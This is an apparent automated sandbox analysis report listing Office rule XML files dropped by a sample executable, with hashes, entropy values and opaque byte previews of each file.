Preview:	<?xml<.3g........U._,......zO..L.+uTe.66<.....Q..$........L.r.l6.-U...A...$j.3.T..].2V.g2c.....+..F..9...J.M1.:,>F.i ...4..IK...X.s.g..Y.e.w....dW.!.....+&jo..7..}....... y....`X....b4'..r4..a7....>c<...$8S4......)..4...uU.>.....)..UQX..C z...N.z....@...2.).........`..i.\.U...obi&._.......Ees.=v2.e.7.o.}<.G8U{....j:\|.1\|..5.X.I}o".&?....Y[c.zt......ye]@tJ......k-1'c78..a....4..k-J.jL....M.a.=..\MO'.F7s....D...l.C..9/..M.Bp....%hx.k#.kp...N...W..aG..x...D6......=...^......m.D......S,......Vb.E...SX.....w..\|].zDV...9....x..0).J....vP..r..A....H........T.B.:U.....q..W....R...$.2.k...o...!.rneCR..`0k...UzPL.......?G...%......&%......ul..y....#...k..x.;....#\|.....v...".R{.D.6..&4........1. J`ai..[ $.ov6.1.}.&.bg.....m...3F.6w.g.k..qR.g...h.ZNo......J............p..GPz8.`.t..!.os{..h..Ff...-...Y.<.....q...z=.e.:O.ttQ.C.........c.G......Ji..i.H.!....=)g\E.n...1.h.Su./.E.M......cOc.wl.6.... .G..........?....$.L......I.dX..G$R.>tO....=.....z...V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.887792286076521
Encrypted:	false
SSDEEP:	48:20UBbtYtvtAkjg9mcWZfQqIq/tTnnL5gM48YWsjD:20UBb+tvljgAcYoqV/t7L5gmY3
MD5:	935EC071F9D7C9C5BADF52491512E66D
SHA1:	20AB77BF255C6047D542134AEB78A289A006868D
SHA-256:	033FEF48DA7895DC608F6D6582C2A76C16E34134FAF3BC357852B071C93EAE0F
SHA-512:	3E52C854E25FA8CA75580A77E998576AE6833F8F99BDDB93F2765F5684A5258F118BD4AEFDC4291C87940E711F35D2EB83B64F006480B7362DE3C2B3D7F0E5C1
Malicious:	false
Preview:	<?xml..6,...3..e&Uc%.l..byv..$...`......^..S..LC./.p~ri.$Q>..Y'F..<.oi.).K.......0.........K;..T.`.C.....`..Lx..].^}..$....U.8...F.,c.$.C5.....G....J.o.....q.e..Z.w.......[....C...~..a........ok.......)....h#ZY"...3.E.`..M//q9......[..b..;;#Rr..\|.L.+.08..O.m..,z..=..H......Q..h.%.H}...d&.6..{.2T(JM..NY.)9`.-..;X#6u.U........3....../_..}......-..<...M.0.r..y&.....\.F....A..`.. ....."..Q..+..S......u.&...+.i....k..<z>...B..n.&/...9.I.....A.... h....Q.\>:\.....Xb;..3.o...v-../i........D.x....._.y.U.....}WB..&u...9..e+...7,...U.1..s5...].jA.........4C5^S.y.?...}#.C...sKs......M..Sw."d..,P.h8...........D.KA.Q..L...zJ&.......8.r....g......0G./V.......8]...Y....z...e.\|...Ew.y..X]. .....z....l.....jXyE...i.. .F...!..C.......w+..Nj...........hS[..9_p3...W0..r...d.T.pn..f.".p..u.........#....=P-...?.Q...po5.N.....u.H.......?x.j...O.5Q.@..!.-x..U.tg.a..%.%.....vf`[.o.E..uo.....e..6..'=. H..)~..........><.%.]^-.W..e./6.[7..~..N.S.N6..-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.887069083320552
Encrypted:	false
SSDEEP:	24:iT3n5S9AKdZeKJDv6AYaKODjICUWhRmkSL7sK0QlmZYnJJ+6wNLGyRKsH4ZXj7zd:iTOTQAsnouWQlmZYPkkypozXfTAFo6ED
MD5:	2AF0B5E3B576A062F8E789C3E01755D0
SHA1:	D3CE602869CFF8BCAE8D48A0ECE9711206BE996E
SHA-256:	26B02E0100D76F10518F6F66027E2FBDF8CDAA7EECF8B71F05F678DFE348D8A9
SHA-512:	D58AAE736E1CC6BD37A1AD6953EDFE8FA9C51DA4DC442CC7149CE80181A60B51D69B4AC09AC5FDEFFB1B7C3BBBBC82FB1EE3126DB8A63D240CFD5B517F86061D
Malicious:	false
Preview:	<?xml...R.......w`W&dV,u.......L.....Q2I...T..C~[....&..S.'...A.... b.'.w\|....'pn...t'}y.y.........8.4 .[..^.P.....B..54{.k...!..v..."g.VpX......2."`...m....K.+`4..1...............E.....~....7.8. ...=.(...HI.......[......~v.w..Od.B.G.@f[OL...2.Z....HE}t..^Q\..R..{.n.t.$T..k.........@..zB..3.E.Zq.........M.z./.31....L.<`.<...OR..`M.B....J.1E......+\|.R....p....Wn1...._....,.7@.?4N0....5d.~...?.... `?.\bbMI..L......=......N..bG`.......9S^...@...4...O........DN.jP^.zn..K.......R...Q...uqX.i.m.........)..\|..._.cW........fK.Fv....k.......XRM..J..M....#..#cl.\.bfe=....caU=z....'C......4{...6....0.../T2.`...../.JK.+...Ul1.2.Ym..ER..aO.4.Q..,{..0....J..HQ.....\a.ZhZ_A...D..$qfI.._..a....G..D>%.5.8._.H....s.8.Yq.Ns.!.Yf.F=.W..L..UiJ...P..zN...u.......iS.Q./.M..;.F....!.@;..GqdkZ....5D.o........=w..g...... .JW.ZeG.3..t.....d..P.l.....f..9.a..t.g...F1...-.o}.e..^o,..ZK..O&5....6....jy0....^.w.4u.&.....4.w.....!%.`...^.f.....h.q..?9A.j1.g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883858604255123
Encrypted:	false
SSDEEP:	48:+UBSqe4ZOQhYTr/RK1iV8iSjF3GT4RbM5hgag0t/D:++SR2OQhY3tKhGMRha3tr
MD5:	50816C4E39CD33AAF810326A650172D6
SHA1:	8BC183B829E5E64F4E3C8148861D84DD73FF18F7
SHA-256:	4CF2344B86FBFA0943511A64323E2081B70F6D3F0B6D78E9427B77854C087C9C
SHA-512:	0CEFB92F68046DDEA774460A46A7DCFCE09EDE0DB9CA539F222B182E529CC2D54881A1D661C106E8EC12643AFFF0ADA0212AEA1FDF78EDC8E61AFF894672D415
Malicious:	false
Preview:	<?xml..2..kj.....K....4`.c./.S.Ni..%.9....>.Mo\|n\..eo+.......Q.d.-H......."...g0.....s..L{..e!I.=..........;.....[.Iu........)...8..O..J\?)....tgo....zb$.K>.=...9v..{....Ys."5.X3.$~...o .........Gjf_...DWO-".WM7Q...lP..X.;D...Pgt....@..Bp.C..F.......c.UT.~.RFA............. k...{..y....w5Ao...]F3[T.d.B.....@W.}~..G..b.^<%.?..N...NA...A....uv....b...._.[.A.H.. ..`.........D.E.07...".cn...k....I...?....fJQ.g....A=HK#.( )..#vOQ...VM...p............Y.%g.<v.V.....5~g..\p...L......q..z.....+..D...%.....Me.g....,u.~.Vg...\:.u....5.@.7...D2.xI3..1HA..-....fG ........cc.. ._#.<{.K.2._...>.{..`.VA13.N.!K.Q&D..64..P.j..SY.\.We1....].1.1....j^..PB...:(.[.N..wy\.[...Ev..,...........$?..-..6...}..,l..fCQ.5.f..[.. nhL.Ro.t.j,..wW3p=6[@..n../.A.....).F..........{.{..g..E.. .....k....Lc..)7.{..L..m...BY. m(Go.I..m.X.(lH..{J.j..0R..,).D._.J....u_zm.h..<........^..n..2....q}....4{'Y.0c...^.$..K.ZL.5...*X...5$F..v.h..4.....z.......9K.R..[\|.....=.Pcr.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.877506902268134
Encrypted:	false
SSDEEP:	48:qJdWcPBAJyvReyU20HJymuQHBIvKJaRz5D:+dtBnvRef287BISYRN
MD5:	D35F3C95D916ECB82C1CD0219D1EC841
SHA1:	0CAE4BAC6D04DC2457F69949F323A1AED453332E
SHA-256:	CD83FCB5F458E156DF07AC42E06FCF22880F44EBD66F70D0E6AA5060D1402469
SHA-512:	64D319997EAC2015B924E1D6F7E9CCD1F014AD4307271DAE8824903FF62ABA42B14F478CD74EE005FD9740CCFE594916619BECF0FC944CA88D84D4409DEEDBFA
Malicious:	false
Preview:	<?xml?......Fg..&,...}...g.M.f...t..jxFo...p...M...W.....22....Gh....v..?.@....p...g.....ts..^>......$..Tx=...?w.-Qc........y>5}<... l.]5L7....D.p?/.F.n......ua~._.. .k.S4?{.W......W.... gA..m..pK.y.f....&..E...tz....... ....Zc.t#.jw@.......Hl!..R..`m......y.Io.6@]..,.:k.nz...0...........+..,.BM.)F.+.... E.1..=.......V......T....8..dD.M..3$.q.-.(.j%P....A.r."F..p..3,)?....4D4...$..q.4..\.].c.'.{...'...\...g.......H-Z..)k%.hC.....W.m.B........8.o;.gl.:......'....A.4?j)E.^(v:...-.4.]\P.Z^..\A>..0..U\.j...M....d..]j=.VT..u..._.h6w..D;}.a..}e.X^..>;Z....C..L...1....`I...lnD...?8.......{.7(...%...";.....A....1... L..r$'.y...P..iG..C.._.....}5......>.......j.*....S?n.]A.......Y.H?.rD.....Xa'...a..v..e.../T.."...x.l\|)!....4L7..0..V....E..D...'vg''.x.W..S..Cj....4,.%..7...HnsQ..k..\.4..:.:..."~.)T.&.#....zH....t..I.os.gf~{..2;.?..ap.7..c]...P.d..-lZ......r^.Q]....F.0s.k..j..>.@w..`O@6.. ,.0._.".~@....w!..J.l..1\a...E.-nT.[<....F..L....3.f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.859818610003756
Encrypted:	false
SSDEEP:	48:u3NG14hjW7YsMiTNO6IkNR3ZbS3duWj8xmD:qNGqSYsMikg3Z48+
MD5:	EFA53C02F82C30BA07AFFFB00BB95337
SHA1:	C0DF347883DE8D7C979513D8A0C1E8C56F4AA4A6
SHA-256:	0692F7E9B97E7E83E2E335D65EAEB61765E57BEFD3AE3571E506C4C274365C1F
SHA-512:	06D88494975E1CA48C6F972F4CE4529A5B5617B262CE4811E683F43A7A5C3338F780562858415C7854D02C0B909DDD8BD953277ED00159C00685640F32B47E59
Malicious:	false
Preview:	<?xml..9..~.{.....,Ql....}.Q.8..,....+b.HC.OA.0..'>.{.-.m..'..3..h..`4..vF.........F~.L......9.f......gr...rL.a.I.....8.=...\|.>...9u....E%gb-L@...oN.w...N.....&.X^..L.".a.nK..7\|..@...,.T...#....M:........@ .9..l..D...."..\..@^R&.s.)..k."....j4g.sxJ7.E:ZG.0....:v%.W8d.@...43...[.X....X..\......!z=..[.U...w.....T..E....K.@.........k._.GL}...7.j..A.x..Ve..i.H.....]V.....E.mN.Y...N?..Px<P<....K...$.70r Q.~.[`..B.v.t..$w...8W...x.q...INsOxE.h0..:,.d..UkN...k.?.8...V.p..6......).,..... u...o.%.M%.8...K\|..#..s(...-(.B.....L.P~.....\|tkz.=..6b..o2...Oj....^3..._.O..5.q.$.i..7.P-l..^.........9.b....B..R.j........tk..._.........M...k..a#..`6.."X.Gc.&Z..@..g..2...1.W_h42RTeDk..x...G=v1\|.9.....8.P.h.k._D..0e.hT.>.C...7h2........-.....q....i.m..U.DoX}90......j.E..C\|..@9...<.X....LS#@ N.......`.8.......+...K..b..7Z.,3...r.=.....f.b.\Vv........o.?...'}..Q..1.....C..." .Q..b...=.9.5.y.\|RP.u3..m........w.i.../.g.hW.v.]}.P.)..K....%..<'V....h..}..~=v.l7...zX^.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.870390561129981
Encrypted:	false
SSDEEP:	24:DJ67Y4lrHUzzrOSEN4VgYKcpShsA94O0PUWW0A2bMAVChvH0izs3RXLDeXvG+B08:DJYZOUN4yc81WpPU90A2A/Ud3AZD
MD5:	CEFBC197847B576DCCC9FB83AFD6A87D
SHA1:	1895C3306F91EED12C767D6A1C1D8A12171907AE
SHA-256:	6886F8EF11443BFE7CCB96AD53DFA078F8874B34234878181FD5FDD7BBE9696C
SHA-512:	067E124E21B003511291482E08E7DA2AA1682CF02327828D45357F3A72C3FD579F595D41D66182F28697C6B0FF5E933A4C0E92CC1A94B3494B0F290BEC585AAC
Malicious:	false
Preview:	<?xml.:..5L(.Tl1.n....~..<X.t...7...YR.VH3.........r...j...k.6..f.n.3.Lq........}X.L.CQX.h.U....j.3.<;.&..PI......?c.jy....6u.......<...N.&.....%.B......kZ=....P.&...W.w...QK...4.Ak.R....Ah..'.\|<...*.Eh..`.+.T...3.9s...H....YE%...Z..v. .1J+..-u...0_.A..V.)...$.o....6NkSrBJ..wq....;....A....;...7 ./...L.O3S.._....?Z.....L`0.'.....(..3...u."..k.........pz...OA\|.{h..^.......<_YY..q....lEy..-(B.-.8h.A..-e......"..........F.do....b.^...L.i.=...^....T.0v.}.$..Q....S.T...F.o..o..B.x?.(.!Qt=C..\|yY..&[,$...F\._...xF.......#r..4...&..;/.i...{(.6.9=i",.&\|.'\...4R.yjY.Cu.X?s.@....BG..e...z...f......E...mA.Q.I...?.....[k.#A.:.O.0..s....^...P..40.m[.....d....[....!Sqy4.+A.......).r.Yx.. ....a].o.?_....r..fA9.>,c./.i%......!..p3^!....6o........p.v8]Dr2...}.H6.e.D..&.,.Q..4......o5.nE....`....4C.j.G)9a..0..%Nix..`e..b..j....].N.yP...(..........~..\|,..f.....\|........."d...QK7..c.,..x.-DbGkV-..F{;..{-......g).9._..2..I^..........tu...>.I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.897993398018187
Encrypted:	false
SSDEEP:	24:uKHlt8ZUk72Lxi0Ss3/UR593eC1jbEcxz/m7ieKlUypu1KTmKWhTNshlFmHuvpLO:NFt8vyIlsM79jnlFuZKsTNshlUOqnD
MD5:	994E294F73CBA6C5E7DC91EA939DA1F3
SHA1:	2402D1D03F9CC21052B1A009E1299A3F3AC8F29C
SHA-256:	B26A804420A44880EDD9943C8AA9E61B8E89FBDA51BEDECC3F9E9EA39AA06539
SHA-512:	23CF287BEB67EA347E9B8EF2F32658B53F344C69097C7B23EC97EB81B6C3332CF0513FCE28E6E985A6844BF0BAABB0E5725E437035B13BE20B4D32508CE1E604
Malicious:	false
Preview:	<?xml[~....p...%.t..0...:.....&1.... ...&5.1Zv....E....<O.hPy..Cg.._....bg....@..>;Pl.v..@..W......hzv....c..y..<.J..}.}..+.......(!}.....%\D= @.yH...N.c]g..77.Zh\|..6......l.w1.......=t...u.^..,.ko..$.......^U}.?4>.Wi.O..'.>..._..^.>......1..D.u;..d....._....-.../..R..WJ..(jZ.wA.r.&.P7.e.j.F....-.v@>........~.F.+\|..m...8...X..Fq...HRf.s,:.-...~...N83{d.....k.-......e.....bf.[_.m.#..X..C...W.7....\|...q...u..:.@.!....BS...-.?...8`J`.^...`.......2.._..s2....I...7..#...HdK.Q.&+....B.6?_............-..y.\.}.'......O_Q..`.......Xk..=.g.Gy?~Ox.k..B...V.!rIs..l...!...mhl.(6N..5.2...T+.....a.7..&..1i.+.[7...c....q..j..T.o.P.....'......#...h......'..(.z{vE..3........M.R`B....&.....P.y...n.%.Q.*...6...0....:.1.o.Tvs=......^.$./..A:...L!g....$7?..^.....uU.`QZ`m.g..b.[X......l......._RC..,...1i..%.e/...c._.~...D..7zar.CW.....JJ...P.M.......m...Q^D.Y.A...P.P......M/.&....p..C..W.96.k..^W~QA.v..z....k\.L....H......F..z. ...9.A..z.....%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.890226524908568
Encrypted:	false
SSDEEP:	48:orSAWXnZngM7Gt0e4DvSGoJB7Ju4/TPND:oryZnqIvSGoJV1
MD5:	4A0FE8CA3838F51C46E24F1391EDB1B1
SHA1:	20472B3141945D703B5E8E957C7B5A823F32CD7B
SHA-256:	9D8AD3517828BFDB5E83A842F26003CDF8D4CCE435D909DB92BE41B7E7F6BF73
SHA-512:	30AB1320BD75D7DA598CFE7E33A9374D9A45DC687BFD0F454DD4F5BF1843D0A3ED797CAA39814DE8B706017BC4B9AAF429E6E169C5CDAB21E553637698156ECF
Malicious:	false
Preview:	<?xml.B+(.y...X...P1..Y;.Y...U..L..1...4..+..J....\|U^u. ../Me.....b...9.....{..XHx..8.{....'Lz..H.k.....BQ.I)Q..3.?J....d...cx.G..J"...qm.P.M9Q.>kT..s..B....\@.7-..]h7bN_:.v.:KB...Q..........p].\\ox;-..x.C..-.X....L.yo..r....+...0.....[.tD...R..]..sk..y6...9g...4....J...w5S.0.Vl....C...+.O.....T.@O.~...k=$........lU.~.7..8...d..Al.......0~?.6.a...A..\...>r..^....RMN.Y}.m.....J'...[%.[8D<2.. %5r=..a....>.U..I..M59A.Q_..o.....{...7p..].l.*r.1..".g.......3=.......D..0...F...VTp./...B F.....U...V...L%X....X.OV.M..@3.......}vEu...L'.>...8I2DZ...$.".M%.....N........c.Sy..v.....iJE..)....~.j.8]V<..d..w0..(I...9.J+.....9..y...&....74_.?~.R..h%.^l...-.&CT...]F....t...N[.h.U}.L.f.j....>..>(./.......S.J.~.,.R..'h).R0.......8\|i.j..N n.^s.p..6....c....#V%.:.....o].h\|[...}...U..s=..U.z$.RY.@.rQ.S'./.....>\|t....^...m........c.H..32..JH...)......:,.6.%$wPfb.u...\...N.y.P...0.E]....wm....V.m.2~j.q[XQ.l[..Z8.K....9.@xS..7..Y...\....#,0C&W.y.W.6(S...$4._d,..y,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.890815727416845
Encrypted:	false
SSDEEP:	48:qZbS/lLh7pjPQON/+4T2SJ7U1pNATmLCs+7JJD:qw/lLXTQONBT2quX/a
MD5:	3D0DC46AA886DF6ABB9B20DA48F381F9
SHA1:	8DFE65174BBD7CC8FEB227AB2EB1BEE7D72AAD04
SHA-256:	9EFA863C6B129C8C7F4DF6DE17E4AA9F9F6D0806F969AFE8DCC14572DBF6B6A0
SHA-512:	A474F4DE2E2FBD551CAF6D091EE3E41AC2D9FBBE52405860EBD880DE0EBAB96540EF48DD30E36AC65093BEEC2E3DAAB236FF2BF706A0181CE8C763215566649D
Malicious:	false
Preview:	<?xml.Q. .x..b\|t.u(./[..S..'.].H~...f.....".I...^c.....;._.K...}..:.iO.F.HU.{".J}P2..^./.K.}E._Z..>4..G..._..X4b:Ac...(.lri#.{Z...'s....'.T.I.5s.....;.)....$h&.<oYs...\..~.....C."4..E..wD..o.....Y.NvNVP....^P.../-.Xp...@TDu.H.....v..&.0....hC.E-H[.........2.U...)C.A<,..{.PJD......(PX@/..t?..r^...B0iF...L...^.n.k..O>q.....'..U..O ......R..+#!..gJ.3.....s...\-.....,.oj...'.A..^N#<),.~S..9CZ..~g...'Q8u...../.9..%..t...E...R.,.t.aU....J.G.K>..p...w...u...vq.............L....?..8..T.m3...Z..{J.....+......-...y....1N.?...Cz...6..}./Sr..*s.2q..v.<KA#v)....f..5.....j.9!..H......o............c.X.i7.Oh.0'!K<..%..v.[...M/.......E.q....%..X...e".Q#..ag.Dl...8Q..I....tS..."mv.....95D:$...t./.=.CR...{..B......y.........p.....>.Da...3.s...JC.4_.....K.)....Af.....h.8.Am>&..i(R...DG.....UZ...."o....rTZ....o..-.]5..C.....~tH..(W..k....}.HkS .5.....B....-.N.3.v.<Zf..D.j0.$..^S.o.}...<..uzj..P......I%p...p.a<k.5....dr.m...}...r..k..C..j./LR.ja...>I.Vl._.k.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.904937431692982
Encrypted:	false
SSDEEP:	24:vz1ZHMcdoenYAnxCpXsIUH/Spqxm6Zl9UY7ydtYHv8EvQQPqC+x8MisWj9JtSb7X:7jhdlnXCaIU0t6v/yLgv8uPJMxWjIDD
MD5:	FC4C5F4AA793C205C53CB0A4FCF85ACE
SHA1:	FEBA5291F24271FB91B9907EBFE6FE6EEFB0C3EA
SHA-256:	1AB5DF207436617037AA8BD378A42653107934747EB4C019144965667627E892
SHA-512:	7B011974B942568C9A7726595F1DB5EEF00DA21A65C4AF3F5B2E1AEDB9C04CDCA19C3F45B6A99FCE3FA932E2EF7834826307D9A9344F08B5F0776E9BAD9DA2B2
Malicious:	false
Preview:	<?xml.....b.....nm[....-..N..iUr..q.+.N9\p....L]eA9.p..s......z^.;..{....b0cRMX........j...p&.1%ln2r#L..b.0\|..:...2.1`.....B.,.#Y.......Q.d.....6........~,$4...^...../....8.&.-.R.......LX.NV-.,#..(:c..._:U.......+.g.{........L..F.6...il.8...0.c}u.n..k..z...1q.P.3.YM.....1An.....n;d.....5...l.xJW..h...&L9.w.O.l.....T...~...!..t....?k...W..ng.......^@ ,....P..]y5... ....w.$5..k......T8.<..UL.lT...E...U.K..Z..je_Dm.....h...j..3.xmT@..y.9.t .N.q...i..#..'...F.....e..V....\.2..2.D..p...x....;(.>_m.C\|]o`gdtW..:(-.fo.,]V.g.y.v.vBR....~.5............S.......i.y..A.Z.....K..6],..c.FV.3h.TSs....k......'D})...\............UR/.8...&\|....[.!.A..........0\...S....H8....t3r..n.%.Q7z.I}z.?.Sq../....>......;DpD.hP.zU^....-....#.....B.......1.N... ......v...5XC...."..n6.<#.=......?#.9e.............I.._P..v8-I8\.x.Z..^Dm..K......!.X.._\|.BW.f.......$;..M,o@.?.../..E.>S;[.M.f...dI...Mn&.-..8Y....r...x..o.).-.G.z.......'-".Jl......O.`88V.4[.u.T._h.[`.~...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.890007097633668
Encrypted:	false
SSDEEP:	48:cw/MqbTqYXkPUd0i8Jd4axqvzfj4oRD+B5/D:clpYXTb8caxATR+fr
MD5:	B63BB38ABE00D523BF09E24B95D35F05
SHA1:	B3881CDE16F7378921FA81637E19FB424E38FA42
SHA-256:	BA7A75DA34C286BBCF34140CFD0E3DC65914F2AAE390BAE6E1A748466F7C8B39
SHA-512:	51613B7E99D8071B7C57BB9BD226327DABB2F1683C8A9A3AF7580E62B285A9D42E7F6504EC4A7C62EE0C262A66947E3739EFB5C4F231B53383A49C0D501FDEA8
Malicious:	false
Preview:	<?xml9...$.\~...$Js^[..!....Ng^.y.m.........#..e.$.....1..J.:F...8Ah.\|.{bcM...l.b.....!.LZ>..L.A...Y...Z\s.}...l...s..z=!J.O....#..sDq...$..q....\|.. L+.G.b..9."G\|...@e....$ '.....>...c.....Q3..s6....f..j...~+.......2.t.u.K....S(^.<E..7.;.........A.#5N..YJ,..F....\F.O.....gR....K..r.....(...?..h.f#.$cn.T...Nw.$>..a".;.;.. bg..\.+.t..t..F...x...!j~W...h..Q...\....0...U..-.R..3Jj..G...BBp..7."<....XkO'k(.T.e%.V..aYA.C...5.....^o.e.J.K'j...]..?n....R0....M.Dhe.....)..;..l2q....@.$.iy.....6...2....Aw:`h.e..#..a...G./.T.U...pD..a.uz.......Q.b..7.5..@..xT...L..w..........(..S.m>m{7...8..E...l.Y......[j.......]q#...e....L..c..p....G.....x.Ki.....b.m.k..j~...w..-.J........sd..\|.q..d. M....i.\W...J2f.b.\|..+._.'c: v.V.......2..e..^..Z...b...'lb.x?...^R.%.[m/..............#.d0.H....f...5....,b..e>..<h..<...=..Z<z.:LH.m..}...+...i.......P.{...f...........@e#...H&..pC`.Y...O9f.......c.4a&..D..=..[+9..t2......MW.f./N....t+.`n..].V..e'..ct*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.882552817419681
Encrypted:	false
SSDEEP:	48:yvgzP+zN56fRlk6nc+mvuqloSljkkUJmohhp79D:yYT+Dwljpqlozkomo17F
MD5:	8D4A274E22727B4A157B02EF586E56DB
SHA1:	76878D0A58162FA2C7DB7D0EE329F8357D5C0F2E
SHA-256:	011968C9BB94B6C3859CEAC5279CB7A9DD52B459B989A0A9C5058D1F6D2B3881
SHA-512:	1430B93E22AF2F1F1AE3ACFE4CEB9F4057946286862334FE453DA14C1B838FC7E523DE2A871D1D5C5147EABA85F18679A8DE8F8F86831E82C2F2E5B4584EE68E
Malicious:	false
Preview:	<?xml.!.'.F?..p...........4..}....r..h2,....<.'..........d.A...S...T.w%...SSQ..Pv.d....xTb&+F(.4i....Yg@.$..pu..3......~.Bca...{.X.i%.'.O....I.?Cp..O#.0!...%...........$(;h.............y&..n..P........t..Q..P).t...jO.....>.w.s.!5.py.....;......I..Q.50......<J....-2.2.Q..KB..`}..).M1L.JY~.+.9w..........A....B....G)...)`.M.\A1d..S...+..:\_X..v.%)].c..N..t_.=..G..0. &...Jb.Tb...2.tR'd^..1....qA..3.uC..?..U...Q.z...B..SF%7.3 3.....\.{.....4}8.q..Z.S.?.J&.~...BZa.G;&..Q.Fa..(.l.....0<..........b.2..R..r...V.....Q...5. .AO..F....C.\|5...fB..n.`:..#.c.P..n..+)..r.1..@J6...<..*a(.!..n.......v.7r..i...}(31.PP.0.=....,...b.kD.B.f........c.e.`[....5_..HaZ.....E.~J..B..j.>h....V.B?..Cg<.. .Y.W...Q{..c..1~..P/z. ....H....J...M+l.......O..M..%.q....l...".J{.o}g..3.p...,q\..r......K...{..;T..#.y....g.H.a.h..[.a__p..v...6.).xx.....B.........&...b.n.s....YR....Pe.}.C...kk.B...D+...#z....B..,v4..]r~2.B... e....3....%B....g...ZU.S?....2.V8P.3.m.IB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.875217203638155
Encrypted:	false
SSDEEP:	48:v/E8M8VtsI+5H78vNjRntAJq+UNnEGfx+3bp/UXqJUXuCD:XEms+FjQ7OEG2bSXxXuK
MD5:	7630DE4818B198E28BDEA3B4DFF5D9C0
SHA1:	3BAD42234EE240BCA013B84CB133ABCA58E32328
SHA-256:	21A33FFE0D7AD50C118E1EAB31BCAD03A04AE26D904CA72FC052EC1312604662
SHA-512:	70854DC252B1142A8A65E6FD2B56BB865CE016FDB20454DFC3E10BED88EA689F5FD811522C3DB7F11759B0B5F1AE42C31E6F6DCCD95B52BC86D1CEFD0E91F043
Malicious:	false
Preview:	<?xml.....xy.......K....}r.!.9M..9..JE..W...P...........Srf..E.g..6!F......3....;._.x......&..I(...hO7..."uy...."0o...:.<V.b..:.d.,...../.....E.......Q..Z....,.n..i.(...k_z. .r.....-..21q...9..).#o...{.{..(.@..d..a....r+..(...G.u1..`.......~RE.&......m.<.+N.E.......T..1...k.D..y..B.{Ai...jS.D..h.....:nV..8<.).C>..`5+....Y...G8c......._.y.......N...E...^.f...kw4...r..L..3/1+......d..t.#.......W...F.......:~PN.:_a.~A{......d.L.1.u..WM;...IMy....d..8.>....M..}&.2.....w.}.p.Y..].]d..;7..{...R...?... .?.i[....K7.......).5=.Wy..:....i.'"C\.NcR............J....]kb>..........eO.w.....=Dvf..).W.=fyv....n....ej.eG`%..u.D..B$.rE.....8....8...E....#].....u...O,.VR?................GuQ..."v........(....H.<PS.r\|"....0...q..z..yLZ*....N....%.@.E6R}dF;W..u...M.TJ.S.d.....!>...+B77....s+.....%......t....K. N-...I .ZPx2].Kz0-"Yj/jA.Q`.......P...~3{.MR..;.g.H.lq..B...j......w..<.M5..m...=._.F/.1Z...h.~.,..M.,E..........@.c.......5......6a...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.883301908474622
Encrypted:	false
SSDEEP:	24:llDvB4sMA6rgsb5gY+dnFhn+6BklmFcrqSwBNVeECBxIJwzbobFiFujrzsu31gk9:frB4sMTrX5anFhem5tDSBeMMrou6abD
MD5:	43160D647D3DC695A6AD0F3B89082070
SHA1:	0488B1854F9A61C64DBC8CA07F0BEC95C14CAF87
SHA-256:	134B0896F8A3FAFA80059FC4F023044B398C3A63DFE54CD9A3BD1C7101622A6B
SHA-512:	1D0BA87C2AEBD3836E3DE8DBF4C2EBEFB3DB389471C65B7699246AD96699BFBD881E56C00257A10844AFDBAB480FD5E2A876BB1D88CE9510F092B9A4F3E83B7A
Malicious:	false
